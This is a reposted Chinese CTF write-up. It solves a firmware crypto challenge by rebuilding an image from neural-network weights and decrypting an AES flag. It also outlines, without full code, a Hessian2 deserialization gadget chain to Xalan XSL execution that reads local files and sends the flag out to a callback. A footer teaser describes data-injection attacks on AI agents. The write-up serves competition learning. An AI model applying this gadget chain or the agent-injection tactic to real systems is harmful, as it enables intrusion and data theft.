二维码说要重建一张图。dump 里还没被当成图看、且形状像图的,就是权重——L0 是 [64,256],正好一张 64×256 灰度图。权重是有符号字节,按 像素=权重+128 直接 reshape:

L0 朴素 reshape

关键观察:这确实是张有文字的图(能看出 4 条横向文本带),但每个字被横向切碎、错位——不是噪声,是字节排布被打乱了tiling_id=1 也在暗示”权重做过 tiling 重排”。但文档没了,确切的重排规则得我自己反推

线索就在图里:图明显分成几条 16 行左右的”带”,而 64 = 4×16。合理猜测是按输出通道分块、块内被转置。我不知道块大小,那就拿”图读不读得通”当判据,把块大小 8/16/32 都试一遍:对每个块大小 B,把每个 B×IC 的块当成 (IC,B) 再转置回 (B,IC)

def&nbsp;detile_block(B):
&nbsp; &nbsp; img=np.zeros((OC,IC),int)
&nbsp; &nbsp;&nbsp;for&nbsp;blk&nbsp;in&nbsp;range(OC//B):
&nbsp; &nbsp; &nbsp; &nbsp; img[blk*B:(blk+1)*B] = arr[blk*B*IC:(blk+1)*B*IC].reshape(IC,B).T
&nbsp; &nbsp;&nbsp;return&nbsp;img

三个候选渲染出来一对比,答案一目了然:

| B=8 (糊) | B=16 (清晰✅) | B=32 (重影错位) | | — | — | — | | | | |

只有 B=16 出清晰文字——排布反推成功:输出通道每 16 个一块,块内按输入下标 k 主序(即块内被转置)。图像可读性就是最好的 oracle,根本不需要文档给公式。


第 5 步 图自己把”密钥怎么来”写明白了

放大 B=16 那张图的中间两行:

IV 放大

logo 上三行字:

== NPU-CORE &nbsp;FW1.3 ==
IV e4f6ccd88665dc43 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;┐ 这两行十六进制拼起来就是 IV
&nbsp; &nbsp;4c217e03fca1dd3f &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;┘
KEY=int8 out L1->L2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 密钥 = 末层(L1→L2)的 INT8 输出

这一步直接补齐了第 1 步的两个缺口,而且全是图自带的、不靠任何文档

  • **IV = e4f6ccd88665dc434c217e03fca1dd3f**(第一行中间有椒盐噪声、86/88 略糊,先标记,待会儿用 CBC 性质兜底);
  • 密钥就是网络末层的 16 个 INT8 输出 → 所以我必须把这两层网络真的跑一遍。

顺带回头清诱饵:output_decoded 那张是干净的假 flag(flag{int8_is_trivial},没经推理);layer2_output/boot_iv 直接拿来当 key/IV 解出来是纯乱码。全是钓”抓现成 blob”的,无视。


第 6 步 跑推理算 K:从数字认出它是定点量化

现在要把输入过两层网络。料都齐了:L1 权重同样 de-tile;输入在 0x0030in_dim=256,末尾 4 字节我验证了正好是这段的 CRC32 → 确认读对);M0/shift/zero_point 都在 0x0020

怎么算才对? 看一眼 M0:全是 1.5e9~2.1e9紧贴 2³¹;再配 shift(负数=右移)、INT8 权重/激活、INT32 累加——这套组合就是 TFLite / gemmlowp 的定点量化推理MultiplyByQuantizedMultiplier)。这是领域识别,不需要文档。关键是:必须整数定点实现,不能用浮点近似——浮点在”加倍取高位”和”带舍入右移”两处会差 1,最终密钥就废。

照 gemmlowp 逐字写整数版(RoundingDivideByPOT 是带舍入的右移,不是截断):

def&nbsp;srdhm(a,b):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 加倍取高 32 位 + 舍入 + 饱和
&nbsp; &nbsp;&nbsp;if&nbsp;a==-2**31&nbsp;and&nbsp;b==-2**31:&nbsp;return&nbsp;2**31-1
&nbsp; &nbsp; ab=a*b; nu=(1<<30)&nbsp;if&nbsp;ab>=0&nbsp;else&nbsp;-(1<<30)+1
&nbsp; &nbsp;&nbsp;return&nbsp;max(-2**31,min(2**31-1,(ab+nu)>>31))
def&nbsp;rdbpot(x,e):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 带四舍五入的算术右移
&nbsp; &nbsp;&nbsp;if&nbsp;e==0:&nbsp;return&nbsp;x
&nbsp; &nbsp; m=(1<<e)-1; rem=x&m; thr=(m>>1)+(1&nbsp;if&nbsp;x<0&nbsp;else&nbsp;0)
&nbsp; &nbsp;&nbsp;return&nbsp;(x>>e)+(1&nbsp;if&nbsp;rem>thr&nbsp;else&nbsp;0)
def&nbsp;mbqm(x,qm,sh):
&nbsp; &nbsp; ls=sh&nbsp;if&nbsp;sh>0&nbsp;else&nbsp;0; rs=0&nbsp;if&nbsp;sh>0&nbsp;else&nbsp;-sh
&nbsp; &nbsp;&nbsp;return&nbsp;rdbpot(srdhm(x<<ls,qm),rs)

def&nbsp;fc(x,W,q,zx,zo,lo,hi):
&nbsp; &nbsp;&nbsp;return&nbsp;[min(max(mbqm(sum(W[c][k]*(x[k]-zx)&nbsp;for&nbsp;k&nbsp;in&nbsp;range(len(x))),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;q['M0'][c],q['shift'][c])+zo, lo), hi)&nbsp;for&nbsp;c&nbsp;in&nbsp;range(len(W))]

两层依次跑(L0 截断 ReLU [0,100]、L1 INT8 饱和 [-128,127],bounds 都在 metadata 里),末层 16 个输出取低字节:

K = 7f8e4e807fa980809a51605f79a38080

(顺手验证浮点为何不行:浮点版得 7f8e4f80...78a38080,差 3 字节 → AES 必崩。)


第 7 步 解 AES,用 CBC 性质擦掉 IV 的小疑点

0x0040 是 32 字节、AES 块大小 16,密钥 16 字节 → AES-128。模式先按最常见的 CBC 试。把第 4 步那个糊掉的 IV 字节两个候选都解:

IV ...d886 65... &nbsp;-> b'flag{n0_fl0at_f0r_npu_qu4nt}\x04\x04\x04\x04'&nbsp; &nbsp;✅
IV ...d888 65... &nbsp;-> b'flagun0_fl0at_f0r_npu_qu4nt}\x04\x04\x04\x04'&nbsp; &nbsp;← 只有开头一个字错

正好印证 CBC 里 IV 只影响第 0 块:IV 读错一字节只会让开头 flag{ 出错,后半 r_npu_qu4nt} 永远对——靠 flag{ 前缀反推就知道是 86。去掉 PKCS#7 填充:

flag{n0_fl0at_f0r_npu_qu4nt}

这题Agent跑不出来就是卡在了图像识别IV和KEY,需要人工识别。

缄默证词

该题留给大家拷打Agent吧,暂不公开完整WP,只提供解题思路。

image-20260724163631661

信息收集(noir.js +&nbsp;source&nbsp;map)
&nbsp; └─ 派生密钥 secret = sha256(pepper|buildId)
&nbsp; └─ body = base64url(xor(gzip(hessian),mask)) ; mac = hmac(secret, kid.nonce.body)
POST /api/capsule &nbsp;(签名通过)
&nbsp; └─ Hessian2 白名单只放行 4 个类(封死 Spring1/JdbcRowSetImpl 等非预期)
&nbsp; └─ HikariConfig.catalog(String) 收到对象 → expect() → String.valueOf(obj)
&nbsp; &nbsp; &nbsp; &nbsp; → MimeTypeParameterList.toString()
&nbsp; &nbsp; &nbsp; &nbsp; → UIDefaults.get() 解析 SwingLazyValue
&nbsp; &nbsp; &nbsp; &nbsp; → 反射 Xalan Process._main(-IN input.xml -XSL /theme/staged/<id>)
自写 XSL(经 /api/theme/stage 托管)
&nbsp; └─ document(file:///opt/peanut/store/index.xml) 读 manifest 定位随机 flag 路径
&nbsp; └─ document(file://<flag>) 读 <b64url>
&nbsp; └─ document(.../api/callbacks/collect?run&b64) 回收
GET /api/callbacks/<run> → flag

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小叶Sec 《好靶场杯 官方部分WP》

好靶场杯官方部分WP 网络安全文章

好靶场杯官方部分WP

文章总结: 本文档为’好靶场杯’CTF竞赛官方部分WP,详细解析了多个赛题的解题思路,包括USB键盘流量分析、编码解码、PWN漏洞利用等,展示了从流量分析到漏洞
看看你的密洞 网络安全文章

看看你的密洞

文章总结: Khan安全团队于2026年7月25日发布了一篇题为’看看你的密洞’的文章,但文档内容仅包含标题、作者、日期及图片占位符,未提供具体技术细节或可操作
AIAgent又出现数据注入 网络安全文章

AIAgent又出现数据注入

文章总结: 本文解析新型AIAgent攻击手法代理数据注入(ADI)。与传统篡改指令不同,ADI通过污染上下文可信数据如伪造元素编号、冒充维护者或捏造工具历史,
评论:0   参与:  0